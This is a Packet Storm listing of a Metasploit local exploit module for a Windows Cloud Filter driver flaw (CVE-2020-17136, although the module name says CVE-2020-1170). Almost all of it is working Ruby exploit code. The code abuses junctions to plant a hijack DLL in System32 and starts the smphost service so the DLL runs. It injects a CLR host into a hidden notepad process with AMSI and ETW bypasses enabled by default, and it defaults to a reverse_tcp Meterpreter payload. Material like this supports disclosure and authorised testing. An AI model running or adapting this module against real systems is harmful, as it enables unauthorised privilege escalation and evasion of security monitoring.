Lucene search

K
packetstormGrant WillcoxPACKETSTORM:160919
HistoryJan 12, 2021 - 12:00 a.m.

Cloud Filter Arbitrary File Creation / Privilege Escalation

2021-01-1200:00:00
Grant Willcox
packetstormsecurity.com
404
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
include Exploit::EXE  
include Msf::Post::File  
include Msf::Post::Windows::Priv  
include Msf::Post::Windows::Process  
include Msf::Post::Windows::ReflectiveDLLInjection  
include Msf::Post::Windows::Dotnet  
include Msf::Post::Windows::Services  
include Msf::Post::Windows::FileSystem  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'CVE-2020-1170 Cloud Filter Arbitrary File Creation EOP',  
'Description' => %q{  
The Cloud Filter driver, cldflt.sys, on Windows 10 v1803 and later, prior to the December  
2020 updates, did not set the IO_FORCE_ACCESS_CHECK or OBJ_FORCE_ACCESS_CHECK flags when  
calling FltCreateFileEx() and FltCreateFileEx2() within its HsmpOpCreatePlaceholders()  
function with attacker controlled input. This meant that files were created with  
KernelMode permissions, thereby bypassing any security checks that would otherwise  
prevent a normal user from being able to create files in directories  
they don't have permissions to create files in.  
  
This module abuses this vulnerability to perform a DLL hijacking attack against the  
Microsoft Storage Spaces SMP service, which grants the attacker code execution as the  
NETWORK SERVICE user. Users are strongly encouraged to set the PAYLOAD option to one  
of the Meterpreter payloads, as doing so will allow them to subsequently escalate their  
new session from NETWORK SERVICE to SYSTEM by using Meterpreter's "getsystem" command  
to perform RPCSS Named Pipe Impersonation and impersonate the SYSTEM user.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'James Foreshaw', # Vulnerability discovery and PoC creator  
'Grant Willcox' # Metasploit module  
],  
'Platform' => ['win'],  
'SessionTypes' => ['meterpreter'],  
'Privileged' => true,  
'Arch' => [ARCH_X64],  
'Targets' =>  
[  
[ 'Windows DLL Dropper', { 'Arch' => [ARCH_X64], 'Type' => :windows_dropper } ],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2020-03-10',  
'References' => [  
['CVE', '2020-17136'],  
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=2082'],  
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-17136']  
],  
'Notes' =>  
{  
'SideEffects' => [ ARTIFACTS_ON_DISK ],  
'Reliability' => [ REPEATABLE_SESSION ],  
'Stability' => [ CRASH_SAFE ]  
},  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',  
}  
)  
)  
register_options(  
[  
OptBool.new('AMSIBYPASS', [true, 'Enable Amsi bypass', true]),  
OptBool.new('ETWBYPASS', [true, 'Enable Etw bypass', true]),  
OptInt.new('WAIT', [false, 'Time in seconds to wait', 5])  
], self.class  
)  
  
register_advanced_options(  
[  
OptBool.new('KILL', [true, 'Kill the injected process at the end of the task', false])  
]  
)  
end  
  
def check_requirements(clr_req, installed_dotnet_versions)  
installed_dotnet_versions.each do |fi|  
if clr_req == 'v4.0.30319'  
if fi[0] == '4'  
vprint_status('Requirements ok')  
return true  
end  
elsif fi[0] == '3'  
vprint_status('Requirements ok')  
return true  
end  
end  
print_error('Required dotnet version not present')  
false  
end  
  
def check  
sysinfo_value = sysinfo['OS']  
if sysinfo_value !~ /windows/i  
# Non-Windows systems are definitely not affected.  
return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')  
end  
  
build_num_raw = cmd_exec('cmd.exe /c ver')  
build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)  
if build_num.nil?  
return CheckCode::Unknown("Couldn't retrieve the target's build number!")  
else  
build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)[0]  
vprint_status("Target's build number: #{build_num}")  
end  
  
build_num_gemversion = Gem::Version.new(build_num)  
# Build numbers taken from https://www.qualys.com/research/security-alerts/2020-03-10/microsoft/  
if (build_num_gemversion >= Gem::Version.new('10.0.19042.0')) && (build_num_gemversion < Gem::Version.new('10.0.19042.685')) # Windows 10 20H2  
return CheckCode::Appears('A vulnerable Windows 10 20H2 build was detected!')  
elsif (build_num_gemversion >= Gem::Version.new('10.0.19041.0')) && (build_num_gemversion < Gem::Version.new('10.0.19041.685')) # Windows 10 v2004 aka 20H1  
return CheckCode::Appears('A vulnerable Windows 10 20H1 build was detected!')  
elsif (build_num_gemversion >= Gem::Version.new('10.0.18363.0')) && (build_num_gemversion < Gem::Version.new('10.0.18363.1256')) # Windows 10 v1909  
return CheckCode::Appears('A vulnerable Windows 10 v1909 build was detected!')  
elsif (build_num_gemversion >= Gem::Version.new('10.0.18362.0')) && (build_num_gemversion < Gem::Version.new('10.0.18362.1256')) # Windows 10 v1903  
return CheckCode::Appears('A vulnerable Windows 10 v1903 build was detected!')  
elsif (build_num_gemversion >= Gem::Version.new('10.0.17763.0')) && (build_num_gemversion < Gem::Version.new('10.0.17763.1637')) # Windows 10 v1809  
return CheckCode::Appears('A vulnerable Windows 10 v1809 build was detected!')  
elsif (build_num_gemversion >= Gem::Version.new('10.0.17134.0')) && (build_num_gemversion < Gem::Version.new('10.0.17134.1902')) # Windows 10 v1803  
return CheckCode::Appears('A vulnerable Windows 10 v1809 build was detected!')  
else  
return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!')  
end  
end  
  
def exploit  
if sysinfo['Architecture'] != 'x64'  
fail_with(Failure::NoTarget, 'This module currently only supports targeting x64 systems!')  
elsif session.arch != 'x64'  
fail_with(Failure::NoTarget, 'Sorry, WoW64 is not supported at this time!')  
end  
dir_junct_path = 'C:\\Windows\\Temp'  
intermediate_dir = rand_text_alpha(10).to_s  
junction_dir = rand_text_alpha(10).to_s  
path_to_intermediate_dir = "#{dir_junct_path}\\#{intermediate_dir}"  
  
mkdir("#{path_to_intermediate_dir}")  
if !directory?("#{path_to_intermediate_dir}")  
fail_with(Failure::UnexpectedReply, 'Could not create the intermediate directory!')  
end  
register_dir_for_cleanup("#{path_to_intermediate_dir}")  
  
mkdir("#{path_to_intermediate_dir}\\#{junction_dir}")  
if !directory?("#{path_to_intermediate_dir}\\#{junction_dir}")  
fail_with(Failure::UnexpectedReply, 'Could not create the junction directory as a folder!')  
end  
  
mount_handle = create_mount_point("#{path_to_intermediate_dir}\\#{junction_dir}", 'C:\\')  
if !directory?("#{path_to_intermediate_dir}\\#{junction_dir}")  
fail_with(Failure::UnexpectedReply, 'Could not transform the junction directory into a junction!')  
end  
  
exe_path = 'data/exploits/CVE-2020-17136/cloudFilterEOP.exe'  
unless File.file?(exe_path)  
fail_with(Failure::BadConfig, 'Assembly not found')  
end  
installed_dotnet_versions = get_dotnet_versions  
vprint_status("Dot Net Versions installed on target: #{installed_dotnet_versions}")  
if installed_dotnet_versions == []  
fail_with(Failure::BadConfig, 'Target has no .NET framework installed')  
end  
if check_requirements('v4.0.30319', installed_dotnet_versions) == false  
fail_with(Failure::BadConfig, 'CLR required for assembly not installed')  
end  
payload_path = "C:\\Windows\\Temp\\#{rand_text_alpha(16)}.dll"  
print_status("Dropping payload dll at #{payload_path} and registering it for cleanup...")  
write_file(payload_path, generate_payload_dll)  
register_file_for_cleanup(payload_path)  
execute_assembly(exe_path, "#{path_to_intermediate_dir} #{junction_dir}\\Windows\\System32\\healthapi.dll #{payload_path}")  
service_start('smphost')  
register_file_for_cleanup('C:\\Windows\\System32\\healthapi.dll')  
sleep(3)  
delete_mount_point("#{path_to_intermediate_dir}\\#{junction_dir}", mount_handle)  
end  
  
def pid_exists(pid)  
mypid = client.sys.process.getpid.to_i  
  
if pid == mypid  
print_bad('Cannot select the current process as the injection target')  
return false  
end  
  
host_processes = client.sys.process.get_processes  
if host_processes.empty?  
print_bad('No running processes found on the target host.')  
return false  
end  
  
theprocess = host_processes.find { |x| x['pid'] == pid }  
  
!theprocess.nil?  
end  
  
def launch_process  
process_name = 'notepad.exe'  
print_status("Launching #{process_name} to host CLR...")  
  
process = client.sys.process.execute(process_name, nil, {  
'Channelized' => true,  
'Hidden' => true,  
'UseThreadToken' => true,  
'ParentPid' => 0  
})  
hprocess = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)  
print_good("Process #{hprocess.pid} launched.")  
[process, hprocess]  
end  
  
def inject_hostclr_dll(process)  
print_status("Reflectively injecting the Host DLL into #{process.pid}..")  
  
library_path = ::File.join(Msf::Config.data_directory, 'post', 'execute-dotnet-assembly', 'HostingCLRx64.dll')  
library_path = ::File.expand_path(library_path)  
  
print_status("Injecting Host into #{process.pid}...")  
exploit_mem, offset = inject_dll_into_process(process, library_path)  
[exploit_mem, offset]  
end  
  
def execute_assembly(exe_path, exe_args)  
if sysinfo.nil?  
fail_with(Failure::BadConfig, 'Session invalid')  
else  
print_status("Running module against #{sysinfo['Computer']}")  
end  
if datastore['WAIT'].zero?  
print_warning('Output unavailable as wait time is 0')  
end  
  
process, hprocess = launch_process  
exploit_mem, offset = inject_hostclr_dll(hprocess)  
  
assembly_mem = copy_assembly(exe_path, hprocess, exe_args)  
  
print_status('Executing...')  
hprocess.thread.create(exploit_mem + offset, assembly_mem)  
  
if datastore['WAIT'].positive?  
sleep(datastore['WAIT'])  
read_output(process)  
end  
  
if datastore['KILL']  
print_good("Killing process #{hprocess.pid}")  
client.sys.process.kill(hprocess.pid)  
end  
  
print_good('Execution finished.')  
end  
  
def copy_assembly(exe_path, process, exe_args)  
print_status("Host injected. Copy assembly into #{process.pid}...")  
int_param_size = 8  
sign_flag_size = 1  
amsi_flag_size = 1  
etw_flag_size = 1  
assembly_size = File.size(exe_path)  
  
cln_params = ''  
cln_params << exe_args  
cln_params << "\x00"  
  
payload_size = amsi_flag_size + etw_flag_size + sign_flag_size + int_param_size  
payload_size += assembly_size + cln_params.length  
assembly_mem = process.memory.allocate(payload_size, PAGE_READWRITE)  
params = [  
assembly_size,  
cln_params.length,  
datastore['AMSIBYPASS'] ? 1 : 0,  
datastore['ETWBYPASS'] ? 1 : 0,  
2  
].pack('IICCC')  
params += cln_params  
  
process.memory.write(assembly_mem, params + File.read(exe_path))  
print_status('Assembly copied.')  
assembly_mem  
end  
  
def read_output(process)  
print_status('Start reading output')  
old_timeout = client.response_timeout  
client.response_timeout = 5  
  
begin  
loop do  
output = process.channel.read  
if !output.nil? && !output.empty?  
output.split("\n").each { |x| print_good(x) }  
end  
break if output.nil? || output.empty?  
end  
rescue Rex::TimeoutError  
vprint_warning('Time out exception: wait limit exceeded (5 sec)')  
rescue ::StandardError => e  
print_error("Exception: #{e.inspect}")  
end  
  
client.response_timeout = old_timeout  
print_status('End output.')  
end  
end  
`